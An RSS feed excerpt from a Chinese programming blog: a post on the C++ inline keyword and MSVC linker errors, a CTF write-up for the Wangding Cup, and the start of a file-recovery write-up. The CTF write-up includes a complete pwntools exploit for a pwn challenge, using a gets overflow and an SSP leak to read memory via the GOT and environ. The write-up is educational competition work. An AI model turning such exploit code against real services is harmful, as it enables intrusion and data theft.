      <content:encoded><![CDATA[<h2 id="起因">起因</h2><p>最近在填坑(CTBX)的时候发现以前 Log 是这样写的</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Logging.h</span></span><br><span class="line"><span class="comment">// Declaration</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> logging&#123;</span><br><span class="line">    <span class="function"><span class="type">void</span> <span class="title">debug</span><span class="params">(<span class="type">const</span> std::string&amp;, <span class="type">const</span> std::string&amp;)</span></span>;</span><br><span class="line">    <span class="function"><span class="type">void</span> <span class="title">warning</span><span class="params">(<span class="type">const</span> std::string&amp;, <span class="type">const</span> std::string&amp;)</span></span>;</span><br><span class="line">    <span class="comment">// and more</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Logging.cpp</span></span><br><span class="line"><span class="comment">// Implementation</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> logging&#123;</span><br><span class="line">    <span class="function"><span class="type">void</span> <span class="title">debug</span><span class="params">(<span class="type">const</span> std::string&amp; tag, <span class="type">const</span> std::string&amp; msg)</span></span>&#123; <span class="comment">/* one-line implementation */</span> &#125;</span><br><span class="line">    <span class="function"><span class="type">void</span> <span class="title">warning</span><span class="params">(<span class="type">const</span> std::string&amp; tag, <span class="type">const</span> std::string&amp; msg)</span></span>&#123; <span class="comment">/* one-line implementation */</span> &#125;</span><br><span class="line">    <span class="comment">// and more</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我一看，这实现不就一行嘛，遂改成了</p><span id="more"></span><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Logging.h</span></span><br><span class="line"><span class="comment">// Declaration</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> logging&#123;</span><br><span class="line">    <span class="function"><span class="keyword">inline</span> <span class="type">void</span> <span class="title">debug</span><span class="params">(<span class="type">const</span> std::string&amp;, <span class="type">const</span> std::string&amp;)</span></span>;</span><br><span class="line">    <span class="function"><span class="keyword">inline</span> <span class="type">void</span> <span class="title">warning</span><span class="params">(<span class="type">const</span> std::string&amp;, <span class="type">const</span> std::string&amp;)</span></span>;</span><br><span class="line">    <span class="comment">// and more</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Logging.cpp</span></span><br><span class="line"><span class="comment">// Implementation</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> logging&#123;</span><br><span class="line">    <span class="function"><span class="keyword">inline</span> <span class="type">void</span> <span class="title">debug</span><span class="params">(<span class="type">const</span> std::string&amp; tag, <span class="type">const</span> std::string&amp; msg)</span></span>&#123; <span class="comment">/* one-line implementation */</span> &#125;</span><br><span class="line">    <span class="function"><span class="keyword">inline</span> <span class="type">void</span> <span class="title">warning</span><span class="params">(<span class="type">const</span> std::string&amp; tag, <span class="type">const</span> std::string&amp; msg)</span></span>&#123; <span class="comment">/* one-line implementation */</span> &#125;</span><br><span class="line">    <span class="comment">// and more</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>然而这个简单的“优化”导致了大概 40+ 个 LNK2001 和 LNK2019错误，链接器报的错误意思是找不到 debug 和 warning 等函数的定义。</p><p>这就让我完全懵逼了，我用 <code>dumpbin /symbols</code> 看了下生成的obj，的确没有相应的导出符号。最后经过一番学习才知道 C++ 中 inline真正的含义。</p><h2 id="解决">解决</h2><p>首先根据链接器的错误代码，我第一反应是找 MSDN的文档看有没有解决办法。</p><p>在 <ahref="https://docs.microsoft.com/zh-cn/cpp/error-messages/tool-errors/linker-tools-error-lnk2001?f1url=https%3A%2F%2Fmsdn.microsoft.com%2Fquery%2Fdev15.query%3FappId%3DDev15IDEF1%26l%3DZH-CN%26k%3Dk%28LNK2001%29%26rd%3Dtrue">LNK2001</a>的说明页面果然提到了 inline 可能导致问题，并且引用了一篇<ahref="https://docs.microsoft.com/zh-cn/cpp/error-messages/tool-errors/function-inlining-problems">文章</a>，在这篇文章开头就给出了使用inline 的正确姿势</p><blockquote><p>If you are using function inlining, you must:</p><ul><li><p>Have the inline functions implemented in the header file youinclude.</p></li><li><p>Have inlining turned ON in the header file.</p></li></ul></blockquote><p>也就是说我上面的写法违反了这里的这一条，所以我把代码改成了</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Logging.h</span></span><br><span class="line"><span class="comment">// Declaration</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> logging&#123;</span><br><span class="line">    <span class="function"><span class="keyword">inline</span> <span class="type">void</span> <span class="title">debug</span><span class="params">(<span class="type">const</span> std::string&amp;, <span class="type">const</span> std::string&amp;)</span></span>&#123; <span class="comment">/* implementation */</span>&#125;</span><br><span class="line">    <span class="function"><span class="keyword">inline</span> <span class="type">void</span> <span class="title">warning</span><span class="params">(<span class="type">const</span> std::string&amp;, <span class="type">const</span> std::string&amp;)</span></span>&#123; <span class="comment">/* implementation */</span>&#125;</span><br><span class="line">    <span class="comment">// and more</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Logging.cpp is deleted</span></span><br></pre></td></tr></table></figure><p>顺利通过编译。</p><h2 id="反思">反思</h2><p>问题解决是解决了，但是为什么必须写在头文件才能编译通过呢？我发现我对inline 可能有一定误解。</p><p>在 StackOverflow 上有这么一句评论我觉得很精髓</p><blockquote><p>inline does not mean "generate inline assembly". inline means "thedefinition for this function is in the header". There is no keywordneeded for "generating inline assembly" because the compiler does thatautomatically.</p></blockquote><p>所以 inline 到底是什么意思呢？翻看 CPPReference 有了答案。</p><blockquote><p>The original intent of the inline keyword was to serve as anindicator to the optimizer that inline substitution of a function ispreferred over function call, that is, instead of executing the functioncall CPU instruction to transfer control to the function body, a copy ofthe function body is executed without generating the call. This avoidsoverhead created by the function call (copying the arguments andretrieving the result) but it may result in a larger executable as thecode for the function has to be repeated multiple times.</p><p>Since this meaning of the keyword inline is non-binding, compilersare free to use inline substitution for any function that's not markedinline, and are free to generate function calls to any function markedinline. Those optimization choices do not change the rules regardingmultiple definitions and shared statics listed above.</p><p>Because the meaning of the keyword inline for functions came to mean"multiple definitions are permitted" rather than "inlining ispreferred", that meaning was extended to variables.</p></blockquote><p>从上述描述来看，inline的意思并不是简简单单的表示函数可以内联展开不生成 call 跳转那么简单。</p><p>由于编译器有权利决定是否展开任意一个函数（即使声明了 inline），所以inline 更加重要的一个含义是告诉编译器允许函数重复定义。</p><p>当然可能会问，允许重复定义的话那我定义两个签名相同实现不同的 inline函数怎么办？C++ 贴心的考虑到了这一点给了一点 Note来“解决”这个潜在的问题。</p><blockquote><p>If an inline function or variable (since C++17) with external linkageis defined differently in different translation units, the behavior isundefined.</p></blockquote><p>也就是说如果函数被 inline修饰，那么所有相同签名的函数应该是完全一样的。</p><p>同时这里强调了一点 external linkage 因为如果不是 externallinkage（比如在函数前加个 static 修饰符）那么语义上是没有歧义的。</p><p>理解了 <code>multiple definitions are permitted</code>的具体含义，那么回过头来看 MSDN给出的两点要求就很自然了，因为头文件经常会被包含而且 inline表示函数可以被重复定义，所以这样才能保证调用的时候能解析到要 inline的函数。</p><p>比如现在有这样三个文件如下</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// file: A.h</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">inline</span> <span class="type">void</span> <span class="title">foo</span><span class="params">()</span></span>&#123;&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// file: B.cpp</span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&quot;A.h&quot;</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">bar</span><span class="params">()</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</span><br><span class="line">    <span class="built_in">foo</span>();</span><br><span class="line">    <span class="built_in">bar</span>();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// file: C.cpp</span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&quot;A.h&quot;</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">bar</span><span class="params">()</span></span>&#123;</span><br><span class="line">    <span class="built_in">foo</span>();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>当两个 cpp文件交给编译器去编译的时候实际上已经被预处理为了大概这样</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// file: B.cpp</span></span><br><span class="line"><span class="function"><span class="keyword">inline</span> <span class="type">void</span> <span class="title">foo</span><span class="params">()</span></span>&#123;&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">bar</span><span class="params">()</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</span><br><span class="line">    <span class="built_in">foo</span>();</span><br><span class="line">    <span class="built_in">bar</span>();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// file: C.cpp</span></span><br><span class="line"><span class="function"><span class="keyword">inline</span> <span class="type">void</span> <span class="title">foo</span><span class="params">()</span></span>&#123;&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">bar</span><span class="params">()</span></span>&#123;</span><br><span class="line">    <span class="built_in">foo</span>();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>虽然 foo 被重定义了，但是两个 foo内容是完全一样的，这样就保证了能正确链接到相应的函数。</p><h2 id="思考">思考</h2><p>那么问题又来了，为什么最初我同时在 .h 和 .cpp 加上 inline的方法不行呢？</p><p>首先构造一段最小复现代码</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// file: Foo.h</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">inline</span> <span class="type">void</span> <span class="title">foo</span><span class="params">()</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// file: Main.cpp</span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&quot;Foo.h&quot;</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</span><br><span class="line">    <span class="built_in">foo</span>();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// file: Foo.cpp</span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&quot;Foo.h&quot;</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">inline</span> <span class="type">void</span> <span class="title">foo</span><span class="params">()</span></span>&#123;&#125;</span><br></pre></td></tr></table></figure><p>尝试生成，果然报了 LNK2019 错误</p><img src="/2018/09/15/C-%E4%B8%AD%E7%9A%84inline/1.png" class="" title="try"><p>这时候如果 <code>dumpbin /symbols foo.obj</code> 可以看到</p><img src="/2018/09/15/C-%E4%B8%AD%E7%9A%84inline/2.png" class="" title="dump1"><p>的确是没有 foo 的导出符号，但是如果我们在 Foo.cpp 的 foo 函数前加上<code>_declspec(dllexport)</code> 并且删掉 include的话则轻松编译成功。</p><img src="/2018/09/15/C-%E4%B8%AD%E7%9A%84inline/3.png" class="" title="build"><p>这时候再去 dumpbin 可以看到有了 foo 的导出符号</p><img src="/2018/09/15/C-%E4%B8%AD%E7%9A%84inline/4.png" class="" title="dump2"><p>所以我一开始遇到的问题其实本质就是编译器默认没有为 inline函数导出符号（摊手）。</p><h2 id="小结">小结</h2><p>总之，对于 inline 应该了解的几点是</p><ul><li>inline 已经不再是“内联展开”那么简单，编译器可以自由决定是否展开</li><li>inline 更关键的一层含义是“允许重复的定义”</li><li>inline修饰的所有函数签名相同的函数应该具有完全相同的实现，这也是编译器处理的前提，否则会产生UB</li><li>inline 函数在 MSVC 上可以被正常导出导入</li><li><strong>inline 函数的正确姿势应该是直接在头文件内实现</strong></li><li><del>瞎 inline 什么呀，编译器比你聪明多了</del></li></ul><h2 id="参考资料">参考资料</h2><ul><li><ahref="https://docs.microsoft.com/zh-cn/cpp/cpp/defining-inline-cpp-functions-with-dllexport-and-dllimport">DefiningInline C++ Functions with dllexport and dllimport</a></li><li><ahref="https://stackoverflow.com/questions/9734175/why-are-class-member-functions-inlined">https://stackoverflow.com/questions/9734175/why-are-class-member-functions-inlined</a></li><li><ahref="https://stackoverflow.com/questions/156438/what-does-it-mean-for-a-c-function-to-be-inline">WhatDoes It Mean For a C++ Function To Be Inline?</a></li><li><ahref="https://docs.microsoft.com/zh-cn/cpp/error-messages/tool-errors/linker-tools-error-lnk2001?f1url=https%3A%2F%2Fmsdn.microsoft.com%2Fquery%2Fdev15.query%3FappId%3DDev15IDEF1%26l%3DZH-CN%26k%3Dk%28LNK2001%29%26rd%3Dtrue">LinkerTools Error LNK2001</a></li><li><ahref="https://docs.microsoft.com/zh-cn/cpp/error-messages/tool-errors/function-inlining-problems">FunctionInlining Problems</a></li><li><a href="https://en.cppreference.com/w/cpp/language/inline">inlinespecifier</a></li></ul>]]></content:encoded>
      
      
      <category domain="http://blog.ihomura.cn/categories/%E7%BC%96%E7%A8%8B/">编程</category>
      
      <category domain="http://blog.ihomura.cn/categories/%E7%BC%96%E7%A8%8B/C/">C++</category>
      
      
      <category domain="http://blog.ihomura.cn/tags/C/">C++</category>
      
      <category domain="http://blog.ihomura.cn/tags/inline/">inline</category>
      
      <category domain="http://blog.ihomura.cn/tags/LNK2001/">LNK2001</category>
      
      <category domain="http://blog.ihomura.cn/tags/LNK2019/">LNK2019</category>
      
      
      <comments>http://blog.ihomura.cn/2018/09/15/C-%E4%B8%AD%E7%9A%84inline/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>WriteUp: 网鼎杯教育组</title>
      <link>http://blog.ihomura.cn/2018/08/23/WriteUp-%E7%BD%91%E9%BC%8E%E6%9D%AF%E6%95%99%E8%82%B2%E7%BB%84/</link>
      <guid>http://blog.ihomura.cn/2018/08/23/WriteUp-%E7%BD%91%E9%BC%8E%E6%9D%AF%E6%95%99%E8%82%B2%E7%BB%84/</guid>
      <pubDate>Thu, 23 Aug 2018 14:10:38 GMT</pubDate>
      
      <description>&lt;h2 id=&quot;前言&quot;&gt;前言&lt;/h2&gt;
&lt;p&gt;作为网鼎杯的第一场线上赛被吐槽的地方还是很多的，比如题目以二进制居多，第一道
Web
题下午一点半才能开始做等等，但是其实相比第二场群魔乱舞来说要好多了吧（逃。&lt;/p&gt;
&lt;p&gt;Lancet 各位师傅都是人才，在里面喊 666 超开心的，我超喜欢这里的。&lt;/p&gt;</description>
      
      
      
      <content:encoded><![CDATA[<h2 id="前言">前言</h2><p>作为网鼎杯的第一场线上赛被吐槽的地方还是很多的，比如题目以二进制居多，第一道Web题下午一点半才能开始做等等，但是其实相比第二场群魔乱舞来说要好多了吧（逃。</p><p>Lancet 各位师傅都是人才，在里面喊 666 超开心的，我超喜欢这里的。</p><span id="more"></span><h2 id="签到">签到</h2><p>就是给公众号打广告，回答几个问题就能拿到 flag。</p><h2 id="re">RE</h2><h3 id="advanced">Advanced</h3><p>这道题如果正常去逆向的话是真的麻烦，结果师傅发现了非预期解。</p><p>正常运行程序会输出一串 identification ，拖进 IDA里面看发现是静态字符串 %02x 输出，不知道跟 flag有什么关系，但是程序正常逻辑中有多次逻辑相似的异或操作，因此尝试对该字符串异或<code>flag&#123;</code> 发现规律。</p><img src="/2018/08/23/WriteUp-%E7%BD%91%E9%BC%8E%E6%9D%AF%E6%95%99%E8%82%B2%E7%BB%84/1.png" class="" title="xor"><p>然后编写脚本得到 flag。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">iden = <span class="string">&quot;4b404c4b5648725b445845734c735949405c414d5949725c45495a51&quot;</span></span><br><span class="line">flag = <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(iden)//<span class="number">2</span>):</span><br><span class="line">    <span class="keyword">if</span> i % <span class="number">2</span> == <span class="number">0</span>:</span><br><span class="line">        flag += <span class="built_in">chr</span>(<span class="number">45</span> ^ <span class="built_in">int</span>(iden[<span class="number">2</span>*i:<span class="number">2</span>*(i+<span class="number">1</span>)], <span class="number">16</span>))</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        flag += <span class="built_in">chr</span>(<span class="number">44</span> ^ <span class="built_in">int</span>(iden[<span class="number">2</span>*i:<span class="number">2</span>*(i+<span class="number">1</span>)], <span class="number">16</span>))</span><br><span class="line"><span class="built_in">print</span>(flag)</span><br></pre></td></tr></table></figure><p>实际上看了不少 WP 都是利用非预期解做的。</p><h3 id="blend">blend</h3><p>CSAW CTF 2017 Realism 原题改了改数据。</p><p>WriteUp 见<ahref="https://github.com/TechSecCTF/writeups/blob/master/CSAWQuals2017/realism/README.md">TechSecCTF/writeups</a>。</p><p>其中的脚本改改数据就能跑出结果，不过 Z3的确强呀，有时间得好好学学了。</p><h3 id="beijing">Beijing</h3><p>打开 IDA 可以看到关键函数。</p><img src="/2018/08/23/WriteUp-%E7%BD%91%E9%BC%8E%E6%9D%AF%E6%95%99%E8%82%B2%E7%BB%84/7.png" class="" title="ida"><p>查看对应的字符串</p><img src="/2018/08/23/WriteUp-%E7%BD%91%E9%BC%8E%E6%9D%AF%E6%95%99%E8%82%B2%E7%BB%84/5.png" class="" title="bytes"><p>可以看到形式上很像是 flag{xxxx} 被打乱顺序排列，因此猜测 sub_8048460中不异或第一个操作数直接返回第二个操作数就可以得到 flag，其中 bss段的顺序根据调试可以确定为 0。</p><p>当然你说怎么猜到的或者说为什么要这么做，我也不知道，不如一键打出题人.jpg。</p><h2 id="misc">MISC</h2><h3 id="clip">clip</h3><p>非预期解。</p><p>搜索给的二进制文件发现有 PNG IHDR IEND 等敏感字符串，可以根据 PNG头、IHDR 和 IDAT 提取出来一张破损的 png 图片。</p><img src="/2018/08/23/WriteUp-%E7%BD%91%E9%BC%8E%E6%9D%AF%E6%95%99%E8%82%B2%E7%BB%84/8.png" class="" title="broken"><p>可以看出应该是最终 flag 对应的图片，打开 PS 拼一拼</p><img src="/2018/08/23/WriteUp-%E7%BD%91%E9%BC%8E%E6%9D%AF%E6%95%99%E8%82%B2%E7%BB%84/4.png" class="" title="pin"><p>可以读出最后的 flag。</p><h3 id="minified">minified</h3><p>取出图片的 Alpha0 和 Green0 通道图片 XOR 一下就出 flag了，好神奇喔！</p><p>现已加入豪华打出题人套餐.jpg。</p><h2 id="pwn">PWN</h2><h3 id="guess">GUESS</h3><h4 id="定位漏洞点">定位漏洞点</h4><p>拖进 IDA 一看</p><img src="/2018/08/23/WriteUp-%E7%BD%91%E9%BC%8E%E6%9D%AF%E6%95%99%E8%82%B2%E7%BB%84/11.png" class="" title="gets"><p>漏洞点非常直白，就是 gets 这里会有溢出问题。</p><p>同时检查程序开启的保护。</p><img src="/2018/08/23/WriteUp-%E7%BD%91%E9%BC%8E%E6%9D%AF%E6%95%99%E8%82%B2%E7%BB%84/12.png" class="" title="checksec"><h4 id="ssp-leak">SSP Leak</h4><p>经过师傅提醒知道是 SSP(Stack Smashing Protector)Leak，原理的话我们可以直接看 glibc 的代码。</p><img src="/2018/08/23/WriteUp-%E7%BD%91%E9%BC%8E%E6%9D%AF%E6%95%99%E8%82%B2%E7%BB%84/9.png" class="" title="glibc2.23"><p>其中 <code>__stack_chk_fail</code> 在 canary检查失败的时候会被调用，可以看到它打印了 <code>argv[0]</code>指向的字符串，因此我们只要覆盖掉 <code>argv[0]</code>就可以任意地址读。</p><h4 id="envrion">envrion</h4><p>由于 flag是在栈上的，因此我们还需要有办法泄漏出栈上的地址，这里利用的是<code>environ</code>，原理就是 libc 中导出了一个符号<code>environ</code>，它的值跟 main 函数第三个参数 <code>envp</code>的值完全相同，所以我们只要能泄露出 libc 的基址就能泄露出栈上的地址。</p><p>程序一共有三次输入机会，正好第一次通过 got 表泄漏出 libc基址，第二次泄露出栈地址，第三次读 flag。</p><h4 id="exp">exp</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="comment"># from LibcSearcher import LibcSearcher</span></span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">&#x27;DEBUG&#x27;</span></span><br><span class="line">Remote = <span class="literal">False</span></span><br><span class="line">Debug = <span class="literal">False</span></span><br><span class="line">Libc = <span class="literal">True</span></span><br><span class="line"><span class="keyword">if</span> Remote:</span><br><span class="line">sh = remote(<span class="string">&#x27;106.75.90.160&#x27;</span>,<span class="number">9999</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"><span class="keyword">if</span> Debug:</span><br><span class="line">sh = gdb.debug(<span class="string">&#x27;./GUESS&#x27;</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"><span class="keyword">if</span> Libc:</span><br><span class="line">sh = process(<span class="string">&#x27;./GUESS&#x27;</span>, env=&#123;<span class="string">&#x27;LD_PRELOAD&#x27;</span> : <span class="string">&#x27;./libc.so.6&#x27;</span>&#125;)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">sh = process(<span class="string">&#x27;./GUESS&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc.so.6&#x27;</span>)</span><br><span class="line"></span><br><span class="line">gets_s0_address = <span class="number">0x7fffffffe4d0</span></span><br><span class="line">argv_0_address = <span class="number">0x7fffffffe5f8</span></span><br><span class="line">overflow_length = argv_0_address - gets_s0_address</span><br><span class="line">flag_offset = <span class="number">0x7ffd12119a88</span> - <span class="number">0x7ffd12119920</span></span><br><span class="line">gets_got_address = <span class="number">0x602058</span></span><br><span class="line"></span><br><span class="line">sh.sendlineafter(<span class="string">&#x27;flag\n&#x27;</span>, <span class="string">&#x27;A&#x27;</span>*overflow_length  + p64(gets_got_address))</span><br><span class="line">sh.recvuntil(<span class="string">&#x27;***: &#x27;</span>)</span><br><span class="line">gets_got = u64(sh.recv(<span class="number">6</span>).ljust(<span class="number">8</span>, <span class="string">&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="built_in">print</span> <span class="built_in">hex</span>(gets_got)</span><br><span class="line">libc_base = gets_got - libc.symbols[<span class="string">&#x27;gets&#x27;</span>]</span><br><span class="line">libc.address = libc_base</span><br><span class="line"><span class="built_in">print</span> <span class="built_in">hex</span>(libc_base)</span><br><span class="line"></span><br><span class="line">sh.sendlineafter(<span class="string">&#x27;flag\n&#x27;</span>, <span class="string">&#x27;A&#x27;</span>*overflow_length  + p64(libc.symbols[<span class="string">&#x27;environ&#x27;</span>]))</span><br><span class="line">sh.recvuntil(<span class="string">&#x27;***: &#x27;</span>)</span><br><span class="line">stack_address = u64(sh.recv(<span class="number">6</span>).ljust(<span class="number">8</span>, <span class="string">&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="built_in">print</span> <span class="built_in">hex</span>(stack_address)</span><br><span class="line"></span><br><span class="line">sh.sendlineafter(<span class="string">&#x27;flag\n&#x27;</span>,<span class="string">&#x27;B&#x27;</span>*overflow_length  + p64(stack_address - flag_offset))</span><br><span class="line">sh.recvall()</span><br></pre></td></tr></table></figure><h3 id="修复">修复</h3><p>值得一提的是，该问题在较新的 libc中已经不存在了（具体版本未验证），下图为 glib2.28 源码</p><img src="/2018/08/23/WriteUp-%E7%BD%91%E9%BC%8E%E6%9D%AF%E6%95%99%E8%82%B2%E7%BB%84/10.png" class="" title="glibc2.28"><h2 id="参考资料">参考资料</h2><ul><li><ahref="https://github.com/Naetw/CTF-pwn-tips#leak-stack-address">CTF-pwn-tips</a></li><li><ahref="https://veritas501.space/2017/04/28/%E8%AE%BAcanary%E7%9A%84%E5%87%A0%E7%A7%8D%E7%8E%A9%E6%B3%95/">论canary的几种玩法</a></li></ul>]]></content:encoded>
      
      
      <category domain="http://blog.ihomura.cn/categories/CTF/">CTF</category>
      
      <category domain="http://blog.ihomura.cn/categories/CTF/%E7%BD%91%E9%BC%8E%E6%9D%AF/">网鼎杯</category>
      
      
      <category domain="http://blog.ihomura.cn/tags/WriteUp/">WriteUp</category>
      
      <category domain="http://blog.ihomura.cn/tags/Misc/">Misc</category>
      
      <category domain="http://blog.ihomura.cn/tags/Reverse-Engineering/">Reverse Engineering</category>
      
      <category domain="http://blog.ihomura.cn/tags/%E7%BD%91%E9%BC%8E%E6%9D%AF/">网鼎杯</category>
      
      <category domain="http://blog.ihomura.cn/tags/Pwn/">Pwn</category>
      
      <category domain="http://blog.ihomura.cn/tags/SSP-Leak/">SSP Leak</category>
      
      
      <comments>http://blog.ihomura.cn/2018/08/23/WriteUp-%E7%BD%91%E9%BC%8E%E6%9D%AF%E6%95%99%E8%82%B2%E7%BB%84/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>WriteUp: ext 文件恢复 HZ &amp; file</title>
      <link>http://blog.ihomura.cn/2018/08/03/WriteUp-ext3-%E6%96%87%E4%BB%B6%E6%81%A2%E5%A4%8D-HZ-file/</link>
      <guid>http://blog.ihomura.cn/2018/08/03/WriteUp-ext3-%E6%96%87%E4%BB%B6%E6%81%A2%E5%A4%8D-HZ-file/</guid>
      <pubDate>Fri, 03 Aug 2018 03:38:20 GMT</pubDate>
      
      <description>&lt;h2 id=&quot;前言&quot;&gt;前言&lt;/h2&gt;
&lt;p&gt;第一道题出处不明。&lt;/p&gt;
&lt;p&gt;本体见&lt;a href=&quot;/anynomous/HZ&quot;&gt;这里&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;第二道题是 xman 排位赛的 file 题目。&lt;/p&gt;
&lt;p&gt;本体见&lt;a href=&quot;/xman/file&quot;&gt;这里&lt;/a&gt;&lt;/p&gt;</description>
      
      
      
